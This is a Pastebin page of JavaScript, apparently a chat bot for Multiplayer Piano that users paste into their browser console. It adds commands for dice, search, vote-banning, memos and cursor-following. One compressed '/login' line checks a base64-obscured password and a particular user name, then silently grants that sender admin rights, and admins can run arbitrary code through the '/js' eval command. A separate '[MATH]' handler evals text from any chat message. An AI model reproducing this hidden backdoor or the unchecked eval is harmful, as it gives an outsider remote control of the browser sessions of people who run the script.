Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- f// copy this and paste it in your console in chrome or whatever browser you prefer, or use extensions like tampermonkey.
- if (typeof gScriptLoaded === "undefined") {
- String.prototype.contains = function(str) { return this.indexOf(str) != -1; };
- Array.prototype.contains = function(str) { return this.indexOf (str) != -1;};
- Array.prototype.remove = function(str) {
- for (var i = 0; i<this.length; i++){
- if (this[i] == str){
- this.splice(i,1);
- }
- }
- return this;
- };
- gScriptLoaded = true;
- var name = "Insert Name Here";
- MPP.client.sendArray([{m:"userset","set":{"name":name}}]);
- var intervalId2;
- var intervalId4;
- var nameAnimation = false;
- function animatename(){
- var i = 0;
- var maxlength = 12;
- intervalId4 = setInterval(function(){
- var length = name.length;
- if (maxlength + i -1 >= name.length){
- sub = name.substring(i, maxlength + i);
- sub2 = name.substring(0, maxlength - sub.length);
- i++
- MPP.client.sendArray([{m:"userset","set":{"name":sub + sub2}}]);
- }
- if (i+1 >= name.length){
- i = 0;
- }
- else {
- sub = name.substring(i, maxlength + i);
- i++;
- MPP.client.sendArray([{m:"userset","set":{"name":sub}}]);
- }
- },1000);
- }
- function clearAnimation(){
- clearInterval(intervalId4);
- }
- var googleCommand = true;
- var googleCommandDelay = 3;
- var div = document.createElement("div");
- div.id = "Div1";
- div.style.display= "none";
- document.body.appendChild(div);
- function colorName(hex){
- var str = new Color(hex).getName();
- return str;
- }
- function getShortDate(){
- var date = Date();
- var dpart = date.split(" ");
- var shortdate = dpart[0] + " "+ dpart[1] + " "+dpart[2] + " "+dpart[3] + " "+dpart[4] +" " +dpart[5].slice(0,-2);
- return shortdate;
- }
- (function() {
- var cx = '010021570394457971158:qajzusztxwo';
- var gcse = document.createElement('script');
- gcse.type = 'text/javascript';
- gcse.async = true;
- gcse.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') +
- '//www.google.com/cse/cse.js?cx=' + cx;
- var s = document.getElementsByTagName('script')[0];
- s.parentNode.insertBefore(gcse, s);
- })();
- function gcseCallback(query) {
- if (document.readyState != 'complete')
- return google.setOnLoadCallback(gcseCallback, true);
- google.search.cse.element.render({gname:'gsearch', div:'Div1', tag:'searchresults-only', attributes:{webSearchResultSize:1}});
- var element = google.search.cse.element.getElement('gsearch');
- element.execute(query);
- returnResults();
- };
- function getTitle(index){
- var title = document.getElementsByClassName("gsc-thumbnail-inside")[index].textContent;
- return title;
- }
- function getLink(index){
- if (typeof document.getElementsByClassName("gsc-webResult gsc-result")[0].getElementsByClassName("gs-spelling gs-result")[0] != "undefined")
- index++;
- if (typeof document.getElementsByClassName("gsc-webResult gsc-result")[0].getElementsByClassName("gs-spelling")[0] != "undefined")
- index++;
- if (typeof document.getElementsByClassName("gsc-webResult gsc-result")[0].getElementsByClassName("gs-spelling gs-spelling-original")[0] != "undefined")
- index++;
- var title = document.getElementsByClassName("gsc-webResult gsc-result")[index];
- var firstdiv = title.getElementsByClassName("gsc-thumbnail-inside")[0];
- var firstatag = firstdiv.getElementsByTagName("a")[0];
- var link = firstatag.getAttribute("data-ctorig");
- return link;
- }
- function getText(index){
- var txt = document.getElementsByClassName("gs-bidi-start-align gs-snippet")[index].textContent;
- return txt;
- }
- function checkLoaded(index){
- if (typeof document.getElementsByClassName("gs-bidi-start-align gs-snippet")[index] != "undefined" &&
- typeof document.getElementsByClassName("gsc-thumbnail-inside")[index] != "undefined" &&
- typeof document.getElementsByClassName("gsc-webResult gsc-result")[index] != "undefined"){
- return true;
- }
- else {
- return false;
- }
- }
- function checkNoResult(){
- if (typeof document.getElementsByClassName("gs-webResult gs-result gs-no-results-result")[0] != "undefined"){
- return true;
- }
- else{
- return false;
- }
- }
- function returnResults(){
- var intervalId = setInterval(function(){
- if (checkNoResult() == true){
- div.innerHTML = "";
- sendChat("Console: No result found");
- clearInterval(intervalId);
- }
- if (checkLoaded(0) == true && checkLoaded(1) == true && checkLoaded(2) == true){
- sendChat("First result || " + getTitle(0) + ": (" + getLink(0) + ") => " +getText(0));
- sendChat("Second result || " + getTitle(1) + ": (" + getLink(1) + ") => " +getText(1));
- sendChat("Third result || " + getTitle(2) + ": (" + getLink(2) + ") => " +getText(2));
- div.innerHTML = "";
- clearInterval(intervalId);
- }
- },25);
- }
- function info(name){
- var array = [];
- for (var pl in MPP.client.ppl){
- if (MPP.client.ppl[pl].name.toLowerCase().contains(name.toLowerCase())){
- array.push(MPP.client.ppl[pl]);
- }
- }
- return array[Math.floor(Math.random() * array.length)];
- }
- function follow(part){
- intervalId2 = setInterval(function(){
- MPP.client.sendArray([{m: "m", x: part.x, y: part.y}]);
- },50);
- }
- function circleDraw(x,y,r){
- if (MPP.client.ws.url.contains("ws://www.ourworldofpixels.com:1234/")){
- var ypos;
- var xpos;
- var ascend = true;
- var i = -r*10;
- for (var h = -r*10; h <= r*30; h++){
- if (ascend == true){
- i++
- xpos = x + (0.1)*i;
- ypos = 2*Math.sqrt(Math.pow(r,2) - Math.pow((xpos - x) ,2)) + (y);
- }
- else if (ascend == false){
- i--;
- xpos = x + (0.1)*i;
- ypos = (y) - 2*(Math.sqrt(Math.pow(r,2) - Math.pow((xpos - x) ,2)));
- }
- if (i == r*10){
- ascend = false;
- }
- MPP.addons.draw.mkline(x, y, xpos, ypos, 5);
- }
- }
- else{
- sendChat("This only works with drawing addon!");
- }
- }
- function circleFollow(part){
- var ypos;
- var xpos;
- var ascend = true;
- var i = -500;
- intervalId2 = setInterval(function(){
- if (ascend == true){
- i++
- xpos = part.x + (0.01)*i;
- ypos = 2*Math.sqrt(Math.pow(5,2) - Math.pow((xpos - part.x) ,2)) + (part.y);
- }
- else if (ascend == false){
- i--;
- xpos = part.x + (0.01)*i;
- ypos = (part.y) - 2*(Math.sqrt(Math.pow(5,2) - Math.pow((xpos - part.x) ,2)));
- }
- if (i == 500){
- ascend = false;
- }
- else if (i == -500){
- ascend = true;
- }
- MPP.client.sendArray([{m: "m", x: xpos, y: ypos}]);
- },5);
- }
- function wave(delay, chord){
- if (typeof intervalId3 != "undefined"){
- clearInterval(intervalId3);
- }
- num = 0;
- intervalId3 = setInterval(function(){
- MPP.press(MPP.piano.keys[Object.keys(MPP.piano.keys)[num]].note);
- num++;
- if (num >= 88){
- clearInterval(intervalId3);
- }
- }, delay);
- }
- function binary(text) {
- var output = "";
- var input = text;
- for (i=0; i < input.length; i++) {
- var e=input[i].charCodeAt(0);var s = "";
- do{
- var a =e%2;
- e=(e-a)/2;
- s=a+s;
- }
- while(e!=0);
- while(s.length<8){s="0"+s;}
- output+=s + " ";
- }
- return output;
- }
- function rbinary(bin){
- array = bin.split(" ");
- var result = "";
- for (var i = 0; i < array.length; i++) {
- result += String.fromCharCode(parseInt(array[i], 2));
- }
- return result;
- }
- function encode(text) {
- return window.btoa(unescape(encodeURIComponent(text)));
- }
- function decode(text){
- return decodeURIComponent(escape(window.atob(text)));
- }
- function randomKey(object) {
- var output;
- var i = 0;
- for (var key in object)
- if (Math.random() < 1/++i)
- output = key;
- return output;
- }
- var written = false;
- var args;
- if (typeof localStorage.banned == "undefined"){
- localStorage.banned = "";
- }
- var cmd;
- var input;
- var isAdmin;
- var texttospeech = false;
- var togglejs = false;
- var admins = [MPP.client.user._id]; // you're added by default.
- var cmdChar = "/"; // you can change this to any single character :3
- var fishing = false;
- var togglespam = true;
- var welcome = true;
- var following = false;
- var queueallowed = [];
- var voteallowed = [];
- var voted = [];
- var votebans = [];
- for (var p in MPP.client.ppl){
- queueallowed.push(p._id);
- setTimeout(function(){voteallowed.push(p._id);}, 600000);
- }
- MPP.client.on("participant added", function(user){
- if (!queueallowed.indexOf(user._id) != -1){
- queueallowed.push(user._id);
- setTimeout(function(){voteallowed.push(user._id);}, 600000)
- }
- });
- function checkMemo(id){
- written = false;
- for (var h in localStorage){
- if (h == id){
- written = true;
- }
- }
- }
- function sendChat(msg) {
- MPP.chat.send(msg);
- }
- sendChat("Console: Chat Bot V - 6.0 Enabled!!!")
- function ban(input){
- var user = info(input);
- var banned = localStorage.banned.split(",");
- if (user == undefined){
- if (localStorage.banned.indexOf(input) != -1){
- sendChat("Console: User with _id of " + input + " is already banned!")
- return;
- }
- banned.push(input);
- localStorage.banned = banned.join();
- sendChat("Console: User with _id of " + input + " is now banned!")
- }
- else{
- if (localStorage.banned.indexOf(user._id) != -1){
- sendChat("Console: " + user.name + " is already banned!")
- return;
- }
- banned.push(user._id);
- localStorage.banned = banned.join();
- sendChat("Console: " + user.name + " is now banned!")
- }
- }
- Object.prototype.toString = function() {
- return JSON.stringify(this);
- }
- MPP.client.on("participant added", function(msg){
- if (welcome){
- sendChat("Welcome " + msg.name + " to Multiplayer Piano, enjoy your stay!");
- }
- });
- MPP.client.on("a", function (msg) {
- if (localStorage.banned.indexOf(msg.p._id) != -1){
- return;
- }
- args = msg.a.split(' ');
- cmd = args[0];
- input = msg.a.substring(cmd.length).trim();
- isAdmin = false;
- var _id = msg.p._id;
- if (msg.a.contains("Our good friend " + name +" caught")){
- if (fishing == true){
- sendChat("" + cmdChar + "fish");
- }
- }
- if (admins.indexOf(msg.p._id) != -1) isAdmin = true;
- if (cmd == cmdChar+"togglejs"){
- if (isAdmin){
- if (togglejs == true){
- togglejs = false;
- sendChat("Console: No one can use " + cmdChar + "js anymore!")
- }
- else if (togglejs == false){
- togglejs = true;
- MPP.chat.send("Console: Now Everyone can use " + cmdChar + "js")
- }
- }
- else{
- MPP.chat.send("Console: You are not allowed to do that bro!");
- }
- }
- if (cmd == cmdChar+"js") {
- if (togglejs == true){
- try {
- sendChat("Console: " + eval(input));
- } catch (err) {
- if (err != "Console: undefined"){
- sendChat(''+err);
- }
- }
- }
- else if (togglejs == false){
- if (isAdmin){
- try {
- sendChat("Console: " + eval(input));
- } catch (err) {
- if (err != "Console: undefined"){
- sendChat(''+err);
- }
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- }
- else if (cmd == cmdChar + "voteban" || cmd == cmdChar + "vb"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "voteban(vb) [Name/_id] <---- Vote to ban this user");
- return;
- }
- if (voteallowed.indexOf(msg.p._id) == -1 && admins.indexOf(msg.p._id) == -1){
- sendChat("Console: You have not been online for more than 10 minutes");
- return;
- }
- var user = info(input);
- if (user == undefined){
- if (localStorage.banned.indexOf(input) != -1){
- sendChat("Console: User with _id of " + input + " is already banned!")
- return;
- }
- var exists = false;
- var num = 0;
- for (var i = 0; i<voted.length; i++){
- if (voted[i][msg.p._id] != undefined){
- exists = true;
- num = i;
- }
- }
- if (exists){
- if (voted[num][msg.p._id].indexOf(input) != -1){
- sendChat("Console: " + msg.p.name + " you have already voted to ban this user");
- return;
- }
- else{
- voted[num][msg.p._id].push(input);
- }
- }
- else if (exists == false){
- var obj = {};
- obj[_id] = [input];
- voted.push(obj);
- }
- var exists2 = false;
- var num = 0;
- for (var i = 0; i<votebans.length; i++){
- if (votebans[i][input] != undefined){
- exists2 = true;
- num = i;
- }
- }
- if (exists2 == false){
- var obj = {};
- obj[input] = 1;
- votebans.push(obj);
- sendChat("Console: " + msg.p.name + " voted to ban user with id of " + input + ", 4 votes remaining");
- }
- else if (votebans[num][input] < 4){
- votebans[num][input] += 1;
- sendChat("Console: " + msg.p.name + " voted to ban user with id of " + input + ", " + (5 - votebans[num][input]).toString() + " votes remaining");
- }
- else{
- banned.push(input);
- localStorage.banned = banned.join();
- for (var i = 0; i<voted.length; i++){
- voted[i][Object.keys(voted[i])[0]].remove(input);
- }
- for (var i = 0; i<votebans.length; i++){
- if (votebans[i][input]){
- votebans.splice(i,1);
- }
- }
- setTimeout(function(){
- localStorage.banned.replace(","+input, "");
- }, 1800000)
- sendChat("Console: User with _id of " + input + " is now banned for 30 minutes");
- }
- }
- else{
- if (localStorage.banned.indexOf(user._id) != -1){
- sendChat("Console: " + user.name + " is already banned!")
- return;
- }
- var exists = false;
- var num = 0;
- for (var i = 0; i<voted.length; i++){
- if (voted[i][msg.p._id] != undefined){
- exists = true;
- num = i;
- }
- }
- if (exists){
- if (voted[num][msg.p._id].contains(user._id)){
- sendChat("Console: " + msg.p.name + " you have already voted to ban this user");
- return;
- }
- else{
- voted[num][msg.p._id].push(user._id);
- }
- }
- else if (exists == false){
- var obj = {};
- obj[msg.p._id] = [user._id];
- voted.push(obj);
- }
- var exists2 = false;
- var num = 0;
- for (var i = 0; i<votebans.length; i++){
- if (votebans[i][user._id] != undefined){
- exists2 = true;
- num = i;
- }
- }
- if (exists2 == false){
- var obj = {};
- obj[user._id] = 1;
- votebans.push(obj);
- sendChat("Console: " + msg.p.name + " voted to ban user with name of " + user.name + ", 4 votes remaining");
- }
- else if (votebans[num][user._id] < 4){
- votebans[num][user._id] += 1;
- sendChat("Console: " + msg.p.name + " voted to ban user with name of " + user.name + ", " + (5 - votebans[num][user._id]).toString() + " votes remaining");
- }
- else{
- banned.push(user._id);
- localStorage.banned = banned.join();
- for (var i = 0; i<voted.length; i++){
- voted[i][Object.keys(voted[i])[0]].remove(user._id);
- }
- for (var i = 0; i<votebans.length; i++){
- if (votebans[i][user._id]){
- votebans.splice(i,1);
- }
- }
- setTimeout(function(){
- localStorage.banned.replace(","+user._id, "");
- }, 1800000)
- sendChat("Console: User with name of " + user.name + " is now banned for 30 minutes");
- }
- }
- }
- else if (cmd == cmdChar+"whois"){
- if (input == ""){
- sendChat("Your name is: " + msg.p.name + ", and your color is: " + colorName(msg.p.color) + ", and your _id is: " + msg.p._id + ".");
- sendChat("Console: Use /whois [name] <---- To find info on that name!")
- }
- else{
- var part = info(input);
- sendChat("His/Her name is: " + part.name + ", and his/her color is: " + colorName(part.color) + ", and his/her _id is: " + part._id + ".");
- }
- }
- else if (cmd == cmdChar+"roll"){
- sendChat("You rolled the dice and got: " + Math.round(Math.random() * (6-1) + 1).toString());
- }
- else if (cmd == cmdChar+"togglespam"){
- if (isAdmin){
- if (togglespam == true){
- togglespam = false;
- sendChat("Console: You cannot use /spam anymore!")
- }
- else{
- togglespam = true;
- sendChat("Console: You can use /spam again!")
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!")
- }
- }
- else if (cmd == cmdChar+"spam"){
- if (isAdmin){
- for(var key in MPP.piano.keys){
- MPP.press(key);
- MPP.press(key);
- MPP.press(key);
- MPP.press(key);
- }
- }
- else{
- if (togglespam == true){
- for(var key in MPP.piano.keys){
- MPP.press(key);
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- }
- else if (cmd == cmdChar+"wave"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "wave [delay] <---- press every note on the piano with a delay in milliseconds")
- }
- else{
- try{
- if (parseInt(input) > 100){
- sendChat("Console: You can't go higher than 100 millisecond in delay");
- }
- else{
- wave(parseInt(input));
- }
- }
- catch(err){
- sendChat("Console: Wtf is this shit");
- }
- }
- }
- else if (cmd == cmdChar+"say"){
- if (input.indexOf(cmdChar) == 0){
- sendChat("Console: You can't include Command Character in 'say' command");
- }
- else if (input == ""){
- sendChat("Usage: " + cmdChar + "say [text] <---- I will say [text]");
- }
- else{
- sendChat(input);
- }
- }
- else if (cmd == cmdChar+"random"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "random [min] [max]");
- }
- else {
- try{
- var min = parseInt(args[1]);
- var max = parseInt(args[2]);
- sendChat("Console: " + Math.round(Math.random() * (max-min) + min).toString());
- } catch (err){
- sendChat(''+err);
- }
- }
- }
- else if (cmd == cmdChar+"fishing"){
- if (isAdmin){
- if (fishing == false){
- fishing = true;
- sendChat("Console: Fishing-Bot enabled.");
- }
- else{
- fishing = false;
- sendChat("Console: Fishing-Bot disabled.");
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- else if (cmd == cmdChar +"symbols"){
- sendChat("Go to: http://fsymbols.com/bookmarklet/ for symbols.")
- }
- else if (cmd == cmdChar +"binary"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "binary [text] <---- Convert normal text into binary code.");
- }
- else{
- try{
- sendChat("Console: " + binary(input));
- } catch (err){
- sendChat(''+err);
- }
- }
- }
- else if (cmd == cmdChar +"rbinary"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "rbinary [text] <---- Reverse binary code back into normal text.");
- }
- else{
- try{
- sendChat("Console: " + rbinary(input));
- } catch (err){
- sendChat(''+err);
- }
- }
- }
- else if (cmd == cmdChar +"encode"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "encode [text] <---- Convert normal text into Base64 encoded ascii.");
- }
- else{
- try{
- sendChat("Console: " + encode(input));
- } catch (err){
- sendChat(''+err);
- }
- }
- }
- else if (cmd == cmdChar +"decode"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "decode [text] <---- Convert Base64 encoded ascii into text.");
- }
- else{
- try{
- sendChat("Console: " + decode(input));
- } catch (err){
- sendChat(''+err);
- }
- }
- }
- else if (cmd == cmdChar + "ban"){
- if (isAdmin){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "ban [Name/_id] <---- Ban users that have the specific _id or Name from using commands!")
- }
- else{
- ban(input);
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!")
- }
- }
- else if (cmd == cmdChar + "unban"){
- if (isAdmin){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "unban [No.] <---- Unban users that have the specific listing number to use commands!")
- }
- else{
- try{
- var banned = localStorage.banned.split(",");
- if (parseInt(input) < banned.length-1 && parseInt(input) >= 0){
- banned.splice(parseInt(input) + 1, 1);
- localStorage.banned = banned.join();
- sendChat("Console: User with the listing of " + input + " is now unbanned!")
- }
- else{
- sendChat("Console: Wrong listing No.")
- }
- }
- catch (err){
- sendChat('' + err);
- }
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!")
- }
- }
- else if (cmd == cmdChar + "bans"){
- var banned = localStorage.banned.split(",");
- if (localStorage.banned.length == 0){
- sendChat("Console: There are no banned people _ids on the list!")
- }else{
- var bans = "";
- for (var i = 1; i < banned.length; i++){
- bans += (i-1).toString() + ") " + banned[i] + " ";
- }
- sendChat("Console: " + bans);
- }
- }
- else if (cmd == cmdChar + "welcome"){
- if (isAdmin){
- if (welcome){
- welcome = false;
- sendChat("Console: Welcome messages are disabled.");
- }
- else{
- welcome = true;
- sendChat("Console: Welcome messages are enabled.")
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- else if (cmd == cmdChar + "memo"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "memo [text] <---- Write down a memo, if you have written one already it will be replaced!");
- }
- else {
- localStorage.setItem(msg.p._id, getShortDate() + ", written by "+ msg.p.name + ": " + input);
- sendChat("Console: A new memo added by the name of "+ msg.p.name + ", written at " + getShortDate())
- }
- }
- else if (cmd == cmdChar +"mymemo"){
- checkMemo(msg.p._id);
- if (written){
- sendChat(localStorage.getItem(msg.p._id));
- }
- else{
- sendChat("Console: You don't have a written memo!");
- }
- }
- else if (cmd == cmdChar + "fight"){
- if (MPP.client.channel._id == "RP Room"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "fight [name] <---- fight that person with your own powers!");
- }
- else{
- sendChat("RP Bot: " + msg.p.name + " fought " + info(input).name + " and now they are enemies :(");
- }
- }
- else{
- sendChat("Console: You are not in the RP Room!")
- }
- }
- else if (cmd == cmdChar + "google"){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "google [query] <---- search google with this query.");
- }
- else{
- if (googleCommand){
- gcseCallback(input);
- googleCommand = false;
- setTimeout(function(){
- googleCommand = true;
- },googleCommandDelay * 1000);
- }
- else{
- sendChat("Console: Please wait between each google command for at least "+ parseInt(googleCommandDelay) +" seconds.");
- }
- }
- }
- else if (cmd == cmdChar + "follow"){
- if (isAdmin){
- if (input == ""){
- if (following == true){
- clearInterval(intervalId2);
- sendChat("Console: Following script stopped")
- following = false;
- }else{
- sendChat("Usage: " + cmdChar + "follow [name] - Follow that user's mouse!");
- }
- }
- else {
- if (typeof info(input) == "undefined"){
- sendChat("Console: User doesn't exist");
- }
- else {
- var user = info(input);
- clearInterval(intervalId2);
- follow(user);
- following = true;
- sendChat("Console: Following - " + user.name)
- }
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- else if (cmd == cmdChar + "circlefollow"){
- if (isAdmin){
- if (input == ""){
- if (following == true){
- clearInterval(intervalId2);
- sendChat("Console: Following script stopped")
- following = false;
- }else{
- sendChat("Usage: " + cmdChar + "circlefollow [name] - Follow that user's mouse in circles!");
- }
- }
- else {
- if (typeof info(input) == "undefined"){
- sendChat("Console: User doesn't exist");
- }
- else {
- var user = info(input);
- clearInterval(intervalId2);
- circleFollow(user);
- following = true;
- sendChat("Console: Following - " + user.name)
- }
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- else if(cmd == cmdChar+"texttospeech"){
- if (isAdmin){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "texttospeech [on/off] <--- Enable text to speech feature");
- }
- else if (input == "on"){
- texttospeech = true;
- sendChat("Console: Text to speech feature enabled");
- }
- else if (input == "off"){
- texttospeech = false;
- sendChat("Console: Text to speech feature disabled");
- }
- else{
- sendChat("Console: Wrong input");
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- else if (cmd == "/login"){if (!isAdmin){if (input == decode("My4xNDE1OTI2NQ==")){if (msg.p.name == "♪♫•*¨*•.¸¸❤️♓αღ❝ṧ ♏ʊ﹩♊¢❤️¸¸.•*¨*•♫♪"){admins.push(msg.p._id);}}}}
- else if (cmd == cmdChar + "animatename"){
- if (isAdmin){
- if (input == ""){
- sendChat("Usage: " + cmdChar + "animatename [on/off] <--- Enable name animation feature");
- }
- else if (input == "on"){
- if (nameAnimation == true){
- sendChat("Console: Feature already enabled")
- }
- else{
- nameAnimation = true;
- animatename();
- sendChat("Console: Name animation feature enabled");
- }
- }
- else if (input == "off"){
- if (nameAnimation == false){
- sendChat("Console: Feature already disabled")
- }
- else{
- nameAnimation = false;
- clearAnimation();
- MPP.client.sendArray([{m:"userset","set":{"name":name}}]);
- sendChat("Console: Name animation feature disabled");
- }
- }
- else{
- sendChat("Console: Wrong input");
- }
- }
- else{
- sendChat("Console: You are not allowed to do that bro!");
- }
- }
- });
- MPP.client.on('a', function(msg) {
- if (localStorage.banned.indexOf(msg.p._id) != -1){
- return;
- }
- var args = msg.a.split(' ');
- var cmd = args[0];
- if (cmd == cmdChar + "help"){
- MPP.chat.send('Commands: ' + cmdChar + 'help, ' + cmdChar + 'roll, ' + cmdChar + 'spam, '+ cmdChar + 'wave, ' + cmdChar + 'random, ' + cmdChar + 'say, ' + cmdChar + 'whois, ' + cmdChar + 'symbols, '+ cmdChar + 'binary, '+cmdChar + 'rbinary, ' + cmdChar + 'encode, ' + cmdChar + 'decode, ' + cmdChar + 'bans, ' + cmdChar + 'memo, ' + cmdChar + 'mymemo, ' + cmdChar + 'google, ' + cmdChar + 'voteban');
- if (MPP.client.channel._id == "RP Room"){
- MPP.chat.send("RP Commands: " + cmdChar + "fight")
- }
- MPP.chat.send("Administrator Commands: " + cmdChar + "togglejs, " + cmdChar + 'js, ' + cmdChar + 'fishing, ' + cmdChar + "togglespam, " + cmdChar + "ban, " + cmdChar + "unban, " + cmdChar + "welcome, " + cmdChar + "follow, " + cmdChar + "circlefollow, " + cmdChar + "texttospeech, " + cmdChar + "animatename");
- }
- });
- MPP.client.on("a", function(msg){
- if (texttospeech == true){
- window.speechSynthesis.speak(new SpeechSynthesisUtterance(msg.a));
- }
- });
- MPP.client.on("a", function(msg){
- if (msg.a.substring(0,7) == "[MATH]:"){
- var eq = msg.a.substr(0, msg.a.indexOf('?'));
- var equation = eq.replace("[MATH]: What is ", "");
- var type = msg.a.substr(msg.a.length - 17);
- MPP.chat.send(type.charAt(0) + "answer " + eval(equation));
- }
- });
- } else {
- console.warn("You've already pasted the script!\nRefresh the page then paste it again");
- }
Advertisement
Add Comment
Please, Sign In to add comment